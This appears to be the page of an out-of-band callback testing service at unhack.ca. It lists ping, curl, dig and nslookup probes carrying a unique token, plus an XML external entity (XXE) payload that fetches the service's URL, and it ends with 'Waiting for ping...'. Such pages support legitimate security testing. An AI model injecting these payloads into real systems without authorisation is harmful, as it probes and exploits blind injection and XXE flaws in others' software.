$ ping -c1 -p 0001e640b00c4b1941dc3b6982139e00 unhack.ca
 
$ curl http://unhack.ca/p/01e640b00c4b1941dc3b6982139e
 
$ dig 01e640b00c4b1941dc3b6982139e @unhack.ca
 
$ dig 01e640b00c4b1941dc3b6982139e.ns.unhack.ca
 
C:\> nslookup 01e640b00c4b1941dc3b6982139e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/01e640b00c4b1941dc3b6982139e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...